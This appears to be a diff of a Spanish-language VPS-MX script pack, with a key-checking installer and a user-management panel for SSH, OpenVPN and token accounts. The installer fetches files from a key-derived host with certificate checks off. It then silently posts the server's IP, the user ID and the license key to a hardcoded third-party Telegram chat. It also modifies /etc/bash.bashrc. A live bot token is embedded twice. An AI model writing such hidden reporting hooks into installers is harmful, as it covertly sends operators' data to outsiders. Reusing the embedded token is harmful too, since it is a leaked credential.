+ clear 
+
+ msg -bar2 
+
+ msg -ama "     [ SCRIPT \033[1;97m  MOD LACASITAMX\033[1;33m ]" 
+
+ msg -ama "  \033[1;96m      🔰Usar Ubuntu 20 a 64 De Preferencia🔰 " 
+
+ msg -bar2 
+
+ [[ $1 = "" ]] && funcao_idioma || { 
+
+ [[ ${#1} -gt 2 ]] && funcao_idioma || id="$1" 
+
+ } 
+
+ error_fun () { 
+
+ msg -bar2 && msg -verm "ERROR entre VPS<-->GENERADOR (Port 81 TCP)" && msg -bar2 
+
+ [[ -d ${SCPinstal} ]] && rm -rf ${SCPinstal} 
+
+ exit 1 
+
+ } 
+
+ invalid_key () { 
+
+ msg -bar2 && msg -verm "  Code Invalido -- #¡Key Invalida#! " && msg -bar2 
+
+ [[ -e $HOME/lista-arq ]] && rm $HOME/lista-arq 
+
+ rm -rf lista-arq 
+
+ exit 1 
+
+ } 
+
+ while [[ ! $Key ]]; do 
+
+ msg -bar2 && msg -ne "\033[1;93m          >>> INGRESE SU KEY ABAJO <<<\n   \033[1;37m" && read Key 
+
+ tput cuu1 && tput dl1 
+
+ done 
+
+ msg -ne "    # Verificando Key # : " 
+
+ cd $HOME 
+
+ wget -O $HOME/lista-arq $(ofus "$Key")/$IP > /dev/null 2>&1 && echo -e "\033[1;32m Ofus Correcto" || { 
+
+ echo -e "\033[1;91m Ofus Incorrecto" 
+
+ invalid_key 
+
+ exit 
+
+ } 
+
+ IP=$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}') && echo "$IP" > /usr/bin/venip 
+
+ sleep 1s 
+
+ function_verify 
+
+ updatedb 
+
+ if [[ -e $HOME/lista-arq ]] && [[ ! $(cat $HOME/lista-arq|grep "Code de KEY Invalido!") ]]; then 
+
+ msg -bar2 
+
+ msg -verd "    $(source trans -b es:${id} "Ficheros Copiados"|sed -e 's/[^a-z -]//ig'): \e[97m[\e[93m@conectedmx_bot\e[97m]" 
+
+ REQUEST=$(ofus "$Key"|cut -d'/' -f2) 
+
+ [[ ! -d ${SCPinstal} ]] && mkdir ${SCPinstal} 
+
+ pontos="." 
+
+ stopping="Descargando Ficheros" 
+
+ for arqx in $(cat $HOME/lista-arq); do 
+
+ msg -verm "${stopping}${pontos}" 
+
+ wget --no-check-certificate -O ${SCPinstal}/${arqx} ${IP}:81/${REQUEST}/${arqx} > /dev/null 2>&1 && verificar_arq "${arqx}" || error_fun 
+
+ tput cuu1 && tput dl1 
+
+ pontos+="." 
+
+ done 
+
+ wget -qO- ifconfig.me > /etc/VPS-MX/IP.log 
+
+ userid="${SCPdir}/ID" 
+
+ TOKEN="2012880601:AAEJ3Kk18PGDzW57LpTMnVMn_pQYQKW3V9w" 
+
+ URL="https://api.telegram.org/bot$TOKEN/sendMessage" 
+
+ MSG="👇= KEY INSTALADO =👇 
+
+ ╔═════ ▓▓ ࿇ ▓▓ ═════╗ 
+
+ - - - - - - - ×∆× - - - - - - - 
+
+ User ID: $(cat ${userid}) 
+
+ - - - - - - - ×∆× - - - - - - - 
+
+ Usuario: $(cat ${SCPdir}/message.txt) 
+
+ - - - - - - - ×∆× - - - - - - - 
+
+ IP: $(cat ${SCPdir}/IP.log) 
+
+ - - - - - - - ×∆× - - - - - - - 
+
+ KEY: $Key 
+
+ - - - - - - - ×∆× - - - - - - - 
+
+ By @alexmod80 
+
+ - - - - - - - ×∆× - - - - - - - 
+
+ ╚═════ ▓▓ ࿇ ▓▓ ═════╝ 
+
+ " 
+
+ activ=$(cat ${userid}) 
+
+ curl -s --max-time 10 -d "chat_id=$activ&disable_web_page_preview=1&text=$MSG" $URL &>/dev/null 
+
+ curl -s --max-time 10 -d "chat_id=605531451&disable_web_page_preview=1&text=$MSG" $URL &>/dev/null 
+
+ rm ${SCPdir}/IP.log &>/dev/null 
+
+ msg -bar2 
+
+ listaarqs="$(locate "lista-arq"|head -1)" && [[ -e ${listaarqs} ]] && rm $listaarqs 
+
+ cat /etc/bash.bashrc|grep -v '[[ $UID != 0 ]] && TMOUT=15 && export TMOUT' > /etc/bash.bashrc.2 
+
+ echo -e '[[ $UID != 0 ]] && TMOUT=15 && export TMOUT' >> /etc/bash.bashrc.2 
+
+ mv -f /etc/bash.bashrc.2 /etc/bash.bashrc 
+
+ echo "${SCPdir}/menu" > /usr/bin/menu && chmod +x /usr/bin/menu 
+
+ echo "${SCPdir}/menu" > /usr/bin/VPSMX && chmod +x /usr/bin/VPSMX 
+
+ echo "$Key" > ${SCPdir}/key.txt 
+
+ [[ -d ${SCPinstal} ]] && rm -rf ${SCPinstal} 
+
+ [[ ${#id} -gt 2 ]] && echo "es" > ${SCPidioma} || echo "${id}" > ${SCPidioma} 
+
+ echo -e "${cor[2]}         DESEAS INSTALAR NOTI-BOT?(Default n)" 
+
+ echo -e "\033[1;34m  (Deves tener Telegram y el BOT: @LaCasitaMx_Noty_Bot)" 
+
+ msg -bar2 
+
+ read -p " [ s | n ]: " NOTIFY 
+
+ [[ "$NOTIFY" = "s" || "$NOTIFY" = "S" ]] && NOTIFY 
+
+ msg -bar2 
+
+ [[ ${byinst} = "true" ]] && install_fim 
+
+ else 
+
+ invalid_key 
+
+ rm -rf LACASITA.sh lista-arq 
+
+ fi 
+
+ rm -rf LACASITA.sh lista-arq

BIN
SCRIPT-v8.5x Mod/VPS-MX.tar.xz


+ 1 - 0
SCRIPT-v8.5x Mod/VPS-MX/controlador/IDT.log

@@ -0,0 +1 @@
+ 

+ 1 - 0
SCRIPT-v8.5x Mod/VPS-MX/controlador/SSH20.log

@@ -0,0 +1 @@
+8

+ 1 - 0
SCRIPT-v8.5x Mod/VPS-MX/controlador/nombre.log

@@ -0,0 +1 @@
+vps

+ 1 - 0
SCRIPT-v8.5x Mod/VPS-MX/controlador/tiemlim.log

@@ -0,0 +1 @@
+120

+ 1836 - 0
SCRIPT-v8.5x Mod/VPS-MX/controlador/usercodes

@@ -0,0 +1,1836 @@
+#!/bin/bash
+ clear
+ clear
+ msg -bar
+ NOM=`less /etc/VPS-MX/controlador/nombre.log` > /dev/null 2>&1
+ NOM1=`echo $NOM` > /dev/null 2>&1
+ IDB=`less /etc/VPS-MX/controlador/IDT.log` > /dev/null 2>&1
+ IDB1=`echo $IDB` > /dev/null 2>&1
+ declare -A TIMEUS
+ SCPdir="/etc/VPS-MX"
+ SCPdir2="${SCPdir}/herramientas"
+ SCPusr="${SCPdir}/controlador"
+ MyPID="${SCPusr}/pid-vps-mx"
+ MyTIME="${SCPusr}/time-vps-mx"
+ USRdatabase="${SCPdir}/VPS-MXuser"
+ USRdatabaseh="${SCPdir}/User-HWID"
+ tokens="${SCPdir}/User-TOKEN"
+ VERY="$(ps aux|grep "${SCPusr}/usercodes verificar"| grep -v grep)"
+ VERY2="$(ps aux|grep "${SCPusr}/usercodes desbloqueo"| grep -v grep)"
+ [[ -e ${MyPID} ]] && source ${MyPID} || touch ${MyPID}
+ [[ -e ${MyTIME} ]] && source ${MyTIME} || touch ${MyTIME}
+ [[ ! -e ${USRdatabase} ]] && touch ${USRdatabase}
+ sort ${USRdatabase} | uniq > ${USRdatabase}tmp
+ mv -f ${USRdatabase}tmp ${USRdatabase}
+ newclient () {
+ usermod -p $(openssl passwd -1 $2) $1
+ while [[ ${newfile} != @(s|S|y|Y|n|N) ]]; do
+ msg -bar
+ read -p "Crear Archivo OpenVPN? [S/N]: " -e -i S newfile
+ tput cuu1 && tput dl1
+ done
+ if [[ ${newfile} = @(s|S) ]]; then
+ rm -rf /etc/openvpn/easy-rsa/pki/reqs/$1.req
+ rm -rf /etc/openvpn/easy-rsa/pki/issued/$1.crt
+ rm -rf /etc/openvpn/easy-rsa/pki/private/$1.key
+ cd /etc/openvpn/easy-rsa/
+ ./easyrsa build-client-full $1 nopass > /dev/null 2>&1
+ cd
+ cp /etc/openvpn/client-common.txt ~/$1.ovpn
+ echo "<ca>" >> ~/$1.ovpn
+ cat /etc/openvpn/easy-rsa/pki/ca.crt >> ~/$1.ovpn
+ echo "</ca>" >> ~/$1.ovpn
+ echo "<cert>" >> ~/$1.ovpn
+ cat /etc/openvpn/easy-rsa/pki/issued/$1.crt >> ~/$1.ovpn
+ echo "</cert>" >> ~/$1.ovpn
+ echo "<key>" >> ~/$1.ovpn
+ cat /etc/openvpn/easy-rsa/pki/private/$1.key >> ~/$1.ovpn
+ echo "</key>" >> ~/$1.ovpn
+ echo "<tls-auth>" >> ~/$1.ovpn
+ cat /etc/openvpn/ta.key >> ~/$1.ovpn
+ echo "</tls-auth>" >> ~/$1.ovpn
+ while [[ ${ovpnauth} != @(s|S|y|Y|n|N) ]]; do
+ read -p "$(fun_trans "Colocar autenticacion de usuario en el archivo")? [S/N]: " -e -i S ovpnauth
+ tput cuu1 && tput dl1
+ done
+ [[ ${ovpnauth} = @(s|S) ]] && sed -i "s;auth-user-pass;<auth-user-pass>\n$1\n$2\n</auth-user-pass>;g" ~/$1.ovpn
+ cd $HOME
+ zip ./$1.zip ./$1.ovpn > /dev/null 2>&1
+ rm ./$1.ovpn > /dev/null 2>&1
+ echo -e "\033[1;31m$(fun_trans "Archivo creado"): ($HOME/$1.zip)"
+ fi
+ }
+ unlockall2 () {
+ for user in $(cat /etc/passwd |awk -F : '$3 > 900 {print $1}' |grep -v "rick" |grep -vi "nobody")
+ do
+ userpid=$(ps -u $user |awk {'print $1'})
+ usermod -U $user &>/dev/null
+ done
+ }
+ eliminar_all () {
+ clear
+ clear
+ msg -bar
+ msg -tit
+ echo -e "\033[1;31m       BORRAR TODOS LOS USUARIOS REGISTRADOS"
+ msg -bar
+ read -p "   ►► Enter para Continuar  o CTRL + C Cancelar ◄◄"
+ echo ""
+ service dropbear stop &>/dev/null
+ service sshd stop &>/dev/null
+ service ssh stop &>/dev/null
+ service stunnel4 stop &>/dev/null
+ service squid stop &>/dev/null
+ for user in $(cat /etc/passwd |awk -F : '$3 > 900 {print $1}' |grep -v "rick" |grep -vi "nobody")
+ do
+ userpid=$(ps -u $user |awk {'print $1'})
+ kill "$userpid" 2>/dev/null
+ userdel $user
+ echo -e "\033[1;32mUSUARIO:\033[1;33m $user \033[1;31mEliminado"
+ done
+ rm -rf ${SCPdir}/VPS-MXuser
+ service sshd restart &>/dev/null
+ service ssh restart &>/dev/null
+ service dropbear start &>/dev/null
+ service stunnel4 start &>/dev/null
+ service squid restart &>/dev/null
+ rm -rf ${SCPdir}/VPS-MX-userlock &>/dev/null
+ rm -rf /etc/VPS-MX/controlador/Limiter.log &>/dev/null
+ unlockall2
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ reset_contador () {
+ clear
+ clear
+ msg -bar
+ msg -tit
+ echo -e "\033[1;33m          REINICIAR CONTADOR DE BLOQUEOS"
+ msg -bar
+ echo -e "\033[1;97m !! Usar unicamente cuando en el apartado del contador\nmarque alguna cantidad erronea. ¡¡"
+ echo ""
+ echo -e "\033[1;91m ## Cancelar Precione CTRL+C"
+ msg -bar
+ read -p "        ►► Presione enter para continuar ◄◄"
+ rm -rf /etc/VPS-MX/VPS-MX-userlock
+ rm -rf /etc/VPS-MX/controlador/Limiter.log
+ unlockall2
+ msg -bar
+ echo -e "\033[1;92m           ¡¡CONTADORES REINICIADOS!!"
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ SPR &
+ droppids () {
+ local pids
+ local portasVAR=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+ local NOREPEAT
+ local reQ
+ local Port
+ while read port; do
+ reQ=$(echo ${port}|awk '{print $1}')
+ Port=$(echo {$port} | awk '{print $9}' | awk -F ":" '{print $2}')
+ [[ $(echo -e $NOREPEAT|grep -w "$Port") ]] && continue
+ NOREPEAT+="$Port\n"
+ case ${reQ} in
+ dropbear)
+ [[ -z $DPB ]] && local DPB="\033[1;31m DROPBEAR: \033[1;32m"
+ DPB+="$Port ";;
+ esac
+ done <<< "${portasVAR}"
+ [[ ! -z $DPB ]] && echo -e $DPB
+ local port_dropbear="$DPB"
+ cat /var/log/auth.log|tail -1000 > /var/log/authday.log
+ local log=/var/log/authday.log
+ local loginsukses='Password auth succeeded'
+ [[ -z $port_dropbear ]] && return 1
+ for port in `echo $port_dropbear`; do
+ for pidx in $(ps ax |grep dropbear |grep "$port" |awk -F" " '{print $1}'); do
+ pids="${pids}$pidx\n"
+ done
+ done
+ for pid in `echo -e "$pids"`; do
+ pidlogs=`grep $pid $log |grep "$loginsukses" |awk -F" " '{print $3}'`
+ i=0
+ for pidend in $pidlogs; do
+ let i++
+ done
+ if [[ $pidend ]]; then
+ login=$(grep $pid $log |grep "$pidend" |grep "$loginsukses")
+ PID=$pid
+ user=`echo $login |awk -F" " '{print $10}' | sed -r "s/'//g"`
+ waktu=$(echo $login |awk -F" " '{print $2"-"$1,$3}')
+ [[ -z $user ]] && continue
+ echo "$user|$PID|$waktu"
+ fi
+ done
+ }
+ block_userfun () {
+ local USRloked="/etc/VPS-MX/VPS-MX-userlock"
+ local LIMITERLOG="${USRdatabase}/Limiter.log"
+ local LIMITERLOG2="${USRdatabase}/Limiter2.log"
+ if [[ $2 = "-loked" ]]; then
+ [[ $(cat ${USRloked}|grep -w "$1") ]] && return 1
+ echo " $1 (BLOCK-MULTILOGIN) $(date +%r--%d/%m/%y)"
+ limseg="$(less /etc/VPS-MX/controlador/tiemdes.log)"
+ KEY="2012880601:AAEJ3Kk18PGDzW57LpTMnVMn_pQYQKW3V9w"
+ URL="https://api.telegram.org/bot$KEY/sendMessage"
+ MSG="⚠️ AVISO DE VPS: $NOM1 ⚠️
+ 🔹 CUENTA: $1
+ ❗️📵 BLOCK FIJO/TEMPORAL 📵❗️
+ 🔓( AUTOUNLOCK EN $limseg SEGUNDOS) 🔓"
+ curl -s --max-time 10 -d "chat_id=$IDB1&disable_web_page_preview=1&text=$MSG" $URL &>/dev/null
+ pkill -u $1 &>/dev/null
+ fi
+ if [[ $(cat ${USRloked}|grep -w "$1") ]]; then
+ usermod -U "$1" &>/dev/null
+ [[ -e ${USRloked} ]] && {
+ newbase=$(cat ${USRloked}|grep -w -v "$1")
+ [[ -e ${USRloked} ]] && rm ${USRloked}
+ for value in `echo ${newbase}`; do
+ echo $value >> ${USRloked}
+ done
+ }
+ [[ -e ${LIMITERLOG} ]] && [[ $(cat ${LIMITERLOG}|grep -w "$1") ]] && {
+ newbase=$(cat ${LIMITERLOG}|grep -w -v "$1")
+ [[ -e ${LIMITERLOG} ]] && rm ${LIMITERLOG}
+ for value in `echo ${newbase}`; do
+ echo $value >> ${LIMITERLOG}
+ echo $value >> ${LIMITERLOG}
+ done
+ }
+ return 1
+ else
+ usermod -L "$1" &>/dev/null
+ pkill -u $1 &>/dev/null
+ droplim=`droppids|grep -w "$1"|cut -d'|' -f2`
+ kill -9 $droplim &>/dev/null
+ echo $1 >> ${USRloked}
+ return 0
+ fi
+ }
+ block_user () {
+ clear
+ clear
+ msg -bar
+ local USRloked="/etc/VPS-MX/VPS-MX-userlock"
+ [[ ! -e ${USRloked} ]] && touch ${USRloked}
+ usuarios_ativos=($(mostrar_usuarios))
+ if [[ -z ${usuarios_ativos[@]} ]]; then
+ msg -tit
+ msg -verm "$(fun_trans " BLOCK/UNBLOCK | Ningun Usuario Registrado")"
+ msg -bar
+ return 1
+ else
+ msg -tit
+ msg -ama "$(fun_trans " BLOCK/UNBLOCK | UsuariosActivos del Servidor")"
+ msg -bar
+ Numb=0
+ for us in $(echo ${usuarios_ativos[@]}); do
+ if [[ $(cat ${USRloked}|grep -w "${us}") ]]; then
+ msg -ne "[$Numb] ->" && echo -e "\033[1;33m ${us} \033[1;31m[Loked]"
+ else
+ msg -ne "[$Numb] ->" && echo -e "\033[1;33m ${us} \033[1;32m[Unlocked]"
+ fi
+ let Numb++
+ done
+ msg -bar
+ fi
+ msg -ama "$(fun_trans "Escriba o Seleccione Un Usuario")"
+ msg -bar
+ unset selection
+ while [[ ${selection} = "" ]]; do
+ echo -ne "\033[1;37mSeleccione: " && read selection
+ tput cuu1 && tput dl1
+ done
+ if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
+ usuario_del="${usuarios_ativos[$selection]}"
+ else
+ usuario_del="$selection"
+ fi
+ [[ -z $usuario_del ]] && {
+ msg -verm "$(fun_trans "Error, Usuario Invalido")"
+ msg -bar
+ return 1
+ }
+ [[ ! $(echo ${usuarios_ativos[@]}|grep -w "$usuario_del") ]] && {
+ msg -verm "$(fun_trans "Error, Usuario Invalido")"
+ msg -bar
+ return 1
+ }
+ msg -ne "$(fun_trans "Usuario Seleccionado"): " && echo -ne "$usuario_del "
+ block_userfun "$usuario_del" && msg -verm "[$(fun_trans "Bloqueado")]" || msg -verd "[$(fun_trans "Desbloqueado")]"
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ msg -bar3
+ add_user () {
+ Fecha=`date +%d-%m-%y-%R`
+ [[ $(cat /etc/passwd |grep $1: |grep -vi [a-z]$1 |grep -v [0-9]$1 > /dev/null) ]] && return 1
+ valid=$(date '+%C%y-%m-%d' -d " +$3 days") && datexp=$(date "+%F" -d " + $3 days")
+ if useradd -M -s /bin/false -e ${valid} -K PASS_MAX_DAYS=$3 -p $(openssl passwd -1 $2) -c sshm,$2 $1 ; then
+ echo "$1|$2|${datexp}|$4" >> ${USRdatabase}
+ msg -verd "$(fun_trans "Usuario Creado con Exito")"
+ else
+ msg -verm2 "$(fun_trans "Error, Usuario no creado")"
+ msg -bar
+ fi
+ }
+ add_hwid () {
+ Fecha=`date +%d-%m-%y-%R`
+ [[ $(cat /etc/passwd |grep $1: |grep -vi [a-z]$1 |grep -v [0-9]$1 > /dev/null) ]] && return 1
+ valid=$(date '+%C%y-%m-%d' -d " +$3 days") && datexp=$(date "+%F" -d " + $3 days")
+ if useradd -M -s /bin/false -e ${valid} -K PASS_MAX_DAYS=$3 -p $(openssl passwd -1 $2) -c hwid,$1 $2 ; then
+ echo "$1|$2|${datexp}" >> ${USRdatabaseh}
+ msg -verd "$(fun_trans "Usuario Creado con Exito")"
+ else
+ msg -verm2 "$(fun_trans "Error, Usuario no creado")"
+ msg -bar
+ fi
+ }
+ add_token () {
+ Fecha=`date +%d-%m-%y-%R`
+ [[ $(cat /etc/passwd |grep $1: |grep -vi [a-z]$1 |grep -v [0-9]$1 > /dev/null) ]] && return 1
+ valid=$(date '+%C%y-%m-%d' -d " +$3 days") && datexp=$(date "+%F" -d " + $3 days")
+ if useradd -M -s /bin/false -e ${valid} -K PASS_MAX_DAYS=$3 -p $(openssl passwd -1 $2) -c token,$1 $2 ; then
+ echo "$1|$2|${datexp}" >> ${tokens}
+ msg -verd "$(fun_trans "Usuario Creado con Exito")"
+ else
+ msg -verm2 "$(fun_trans "Error, Usuario no creado")"
+ msg -bar
+ fi
+ }
+ mostrar_usuario(){
+ for u in `cat /etc/passwd|grep 'home'|grep 'false'|grep -v 'syslog'|grep -w 'hwid'|awk -F ':' '{print $1}'`; do
+ echo "$u"
+ done
+ }
+ mostrar_token(){
+ for u in `cat /etc/passwd|grep 'home'|grep 'false'|grep -v 'syslog'|grep -w 'token'|awk -F ':' '{print $1}'`; do
+ echo "$u"
+ done
+ }
+ mostrar_all(){
+ for u in `cat /etc/passwd|grep 'home'|grep 'false'|grep -v 'syslog'|grep -v 'sshm'|grep -w 'hwid'|grep -v 'token'|awk -F ':' '{print $1}'`; do
+ echo "$u"
+ done
+ }
+ mostrar_user(){
+ for u in `cat /etc/passwd|grep 'home'|grep 'false'|grep -v 'syslog'|grep -w 'sshm'|awk -F ':' '{print $1}'`; do
+ echo "$u"
+ done
+ }
+ new_hwid () {
+ clear
+ clear
+ msg -bar
+ usuarios_ativo=($(cat ${USRdatabaseh}|cut -d'|' -f1))
+ usuarios_ativos=('' $(mostrar_usuario))
+ if [[ -z ${usuarios_ativos[@]} ]]; then
+ msg -tit
+ msg -ama "   AGREGAR USUARIO HWID| Ningun Usuario Registrado"
+ msg -bar
+ else
+ msg -tit
+ msg -ama "  AGREGAR USUARIO HWID| Usuarios  Activos en Servidor"
+ msg -bar
+ for us in $(echo ${usuarios_ativos[@]}); do
+ msg -ne " >> Usuario: " && echo "${us}"
+ done
+ msg -bar
+ fi
+ while true; do
+ msg -ne "$(fun_trans "Nombre Del Usuario")"
+ read -p ": " usuario
+ usuario="$(echo $usuario|sed -e 's/[^a-z0-9 -]//ig')"
+ if [[ -z $usuario ]]; then
+ err_fun 1 && continue
+ elif [[ "${#usuario}" -lt "3" ]]; then
+ err_fun 2 && continue
+ elif [[ "${#usuario}" -gt "12" ]]; then
+ err_fun 3 && continue
+ elif [[ "$(echo ${usuarios_ativos[@]}|grep -w "$usuario")" ]]; then
+ err_fun 14 && continue
+ fi
+ break
+ done
+ while true; do
+ msg -ne "$(fun_trans "Ingrese El HWID")"
+ read -p ": " hwid
+ if [[ -z $hwid ]]; then
+ err_fun 4 && continue
+ elif [[ "${#hwid}" -lt "29" ]]; then
+ err_fun 5 && continue
+ elif [[ "${#hwid}" -gt "36" ]]; then
+ err_fun 6 && continue
+ fi
+ break
+ done
+ while true; do
+ msg -ne "$(fun_trans "Tiempo de Duracion")"
+ read -p ": " diasuser
+ if [[ -z "$diasuser" ]]; then
+ err_fun 7 && continue
+ elif [[ "$diasuser" != +([0-9]) ]]; then
+ err_fun 8 && continue
+ elif [[ "$diasuser" -gt "360" ]]; then
+ err_fun 9 && continue
+ fi
+ break
+ done
+ clear
+ echo ""
+ msg -bar
+ add_hwid "${usuario}" "${hwid}" "${diasuser}"
+ msg -ne "$(fun_trans "  >> IP"): " && echo -e "$(meu_ip)"
+ msg -ne "$(fun_trans "  >> Usuario"): " && echo -e "$usuario"
+ msg -ne "$(fun_trans "  >> HWID"): " && echo -e "$hwid"
+ msg -ne "$(fun_trans "  >> Dias de Duracion"): " && echo -e "$diasuser"
+ msg -ne "$(fun_trans "  >> Fecha de Expiracion"): " && echo -e "$(date "+%F" -d " + $diasuser days")"
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ new_token () {
+ clear
+ clear
+ msg -bar
+ usuarios_ativo=($(cat ${tokens}|cut -d'|' -f1))
+ usuarios_ativos=('' $(mostrar_token))
+ if [[ -z ${usuarios_ativos[@]} ]]; then
+ msg -tit
+ msg -ama "   AGREGAR USUARIO TOKEN| Ningun Usuario Registrado"
+ msg -bar
+ else
+ msg -tit
+ msg -ama "  AGREGAR USUARIO TOKEN| Usuarios  Activos en Servidor"
+ msg -bar
+ for us in $(echo ${usuarios_ativos[@]}); do
+ msg -ne " >> Usuario: " && echo "${us}"
+ done
+ msg -bar
+ fi
+ while true; do
+ msg -ne "$(fun_trans "Nombre Del Usuario")"
+ read -p ": " usuario
+ usuario="$(echo $usuario|sed -e 's/[^a-z0-9 -]//ig')"
+ if [[ -z $usuario ]]; then
+ err_fun 1 && continue
+ elif [[ "${#usuario}" -lt "3" ]]; then
+ err_fun 2 && continue
+ elif [[ "${#usuario}" -gt "12" ]]; then
+ err_fun 3 && continue
+ elif [[ "$(echo ${usuarios_ativos[@]}|grep -w "$usuario")" ]]; then
+ err_fun 14 && continue
+ fi
+ break
+ done
+ while true; do
+ msg -ne "$(fun_trans "Ingrese su TOKEN")"
+ read -p ": " toke
+ if [[ -z $toke ]]; then
+ err_fun 4 && continue
+ elif [[ "${#toke}" -lt "6" ]]; then
+ err_fun 5 && continue
+ elif [[ "${#toke}" -gt "36" ]]; then
+ err_fun 6 && continue
+ fi
+ break
+ done
+ while true; do
+ msg -ne "$(fun_trans "Tiempo de Duracion")"
+ read -p ": " diasuser
+ if [[ -z "$diasuser" ]]; then
+ err_fun 7 && continue
+ elif [[ "$diasuser" != +([0-9]) ]]; then
+ err_fun 8 && continue
+ elif [[ "$diasuser" -gt "360" ]]; then
+ err_fun 9 && continue
+ fi
+ break
+ done
+ clear
+ echo ""
+ msg -bar
+ add_token "${usuario}" "${toke}" "${diasuser}"
+ msg -ne "$(fun_trans "  >> IP"): " && echo -e "$(meu_ip)"
+ msg -ne "$(fun_trans "  >> Usuario"): " && echo -e "$usuario"
+ msg -ne "$(fun_trans "  >> TOKEN"): " && echo -e "$toke"
+ msg -ne "$(fun_trans "  >> Dias de Duracion"): " && echo -e "$diasuser"
+ msg -ne "$(fun_trans "  >> Fecha de Expiracion"): " && echo -e "$(date "+%F" -d " + $diasuser days")"
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ renew_user_fun () {
+ datexp=$(date "+%F" -d " + $2 days") && valid=$(date '+%C%y-%m-%d' -d " + $2 days")
+ chage -E $valid $1 2> /dev/null || return 1
+ [[ -e ${USRdatabase} ]] && {
+ newbase=$(cat ${USRdatabase}|grep -w -v "$1")
+ useredit=$(cat ${USRdatabase}|grep -w "$1")
+ pass=$(echo $useredit|cut -d'|' -f2)
+ limit=$(echo $useredit|cut -d'|' -f4)
+ echo "$1|$pass|${datexp}|$limit" > ${USRdatabase}
+ for value in `echo ${newbase}`; do
+ echo $value >> ${USRdatabase}
+ done
+ }
+ }
+ edit_user_fun () {
+ (echo "$2" ; echo "$2" ) |passwd $1 > /dev/null 2>&1 || return 1
+ datexp=$(date "+%F" -d " + $3 days") && valid=$(date '+%C%y-%m-%d' -d " + $3 days")
+ chage -E $valid $1 2> /dev/null || return 1
+ [[ -e ${USRdatabase} ]] && {
+ newbase=$(cat ${USRdatabase}|grep -w -v "$1")
+ echo "$1|$2|${datexp}|$4" > ${USRdatabase}
+ for value in `echo ${newbase}`; do
+ echo $value >> ${USRdatabase}
+ done
+ } || echo "$1|$2|${datexp}|$4" > ${USRdatabase}
+ }
+ rm_user () {
+ userdel --force "$1" &>/dev/null || return 1
+ sed -i "/$1/d" ${USRdatabase}
+ }
+ rm_hwid () {
+ userdel --force "$1" &>/dev/null || return 1
+ sed -i "/$1/d" ${USRdatabaseh}
+ }
+ rm_token () {
+ userdel --force "$1" &>/dev/null || return 1
+ sed -i "/$1/d" ${tokens}
+ }
+ mostrar_usuarios () {
+ for u in `awk -F : '$3 > 900 { print $1 }' /etc/passwd | grep -v "nobody" |grep -vi polkitd |grep -vi system-`; do
+ echo "$u"
+ done
+ }
+ dropbear_pids () {
+ local pids
+ local portasVAR=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+ local NOREPEAT
+ local reQ
+ local Port
+ while read port; do
+ reQ=$(echo ${port}|awk '{print $1}')
+ Port=$(echo {$port} | awk '{print $9}' | awk -F ":" '{print $2}')
+ [[ $(echo -e $NOREPEAT|grep -w "$Port") ]] && continue
+ NOREPEAT+="$Port\n"
+ case ${reQ} in
+ dropbear)
+ [[ -z $DPB ]] && local DPB=""
+ DPB+="$Port ";;
+ esac
+ done <<< "${portasVAR}"
+ [[ ! -z $DPB ]] && echo -e $DPB
+ local port_dropbear="$DPB"
+ cat /var/log/auth.log|tail -1000 > /var/log/authday.log
+ local log=/var/log/authday.log
+ local loginsukses='Password auth succeeded'
+ [[ -z $port_dropbear ]] && return 1
+ for port in `echo $port_dropbear`; do
+ for pidx in $(ps ax |grep dropbear |grep "$port" |awk -F" " '{print $1}'); do
+ pids="${pids}$pidx\n"
+ done
+ done
+ for pid in `echo -e "$pids"`; do
+ pidlogs=`grep $pid $log |grep "$loginsukses" |awk -F" " '{print $3}'`
+ i=0
+ for pidend in $pidlogs; do
+ let i++
+ done
+ if [[ $pidend ]]; then
+ login=$(grep $pid $log |grep "$pidend" |grep "$loginsukses")
+ PID=$pid
+ user=`echo $login |awk -F" " '{print $10}' | sed -r "s/'//g"`
+ waktu=$(echo $login |awk -F" " '{print $2"-"$1,$3}')
+ [[ -z $user ]] && continue
+ echo "$user|$PID|$waktu"
+ fi
+ done
+ }
+ openvpn_pids () {
+ byte () {
+ while read B dummy; do
+ [[ "$B" -lt 1024 ]] && echo "${B} bytes" && break
+ KB=$(((B+512)/1024))
+ [[ "$KB" -lt 1024 ]] && echo "${KB} Kb" && break
+ MB=$(((KB+512)/1024))
+ [[ "$MB" -lt 1024 ]] && echo "${MB} Mb" && break
+ GB=$(((MB+512)/1024))
+ [[ "$GB" -lt 1024 ]] && echo "${GB} Gb" && break
+ echo $(((GB+512)/1024)) terabytes
+ done
+ }
+ for user in $(mostrar_usuarios); do
+ user="$(echo $user|sed -e 's/[^a-z0-9 -]//ig')"
+ [[ ! $(sed -n "/^${user},/p" /etc/openvpn/openvpn-status.log) ]] && continue
+ i=0
+ unset RECIVED; unset SEND; unset HOUR
+ while read line; do
+ IDLOCAL=$(echo ${line}|cut -d',' -f2)
+ RECIVED+="$(echo ${line}|cut -d',' -f3)+"
+ SEND+="$(echo ${line}|cut -d',' -f4)+"
+ DATESEC=$(date +%s --date="$(echo ${line}|cut -d',' -f5|cut -d' ' -f1,2,3,4)")
+ TIMEON="$(($(date +%s)-${DATESEC}))"
+ MIN=$(($TIMEON/60)) && SEC=$(($TIMEON-$MIN*60)) && HOR=$(($MIN/60)) && MIN=$(($MIN-$HOR*60))
+ HOUR+="${HOR}h:${MIN}m:${SEC}s\n"
+ let i++
+ done <<< "$(sed -n "/^${user},/p" /etc/openvpn/openvpn-status.log)"
+ RECIVED=$(echo $(echo ${RECIVED}0|bc)|byte)
+ SEND=$(echo $(echo ${SEND}0|bc)|byte)
+ HOUR=$(echo -e $HOUR|sort -n|tail -1)
+ echo -e "$user|$i|$RECIVED|$SEND|$HOUR"
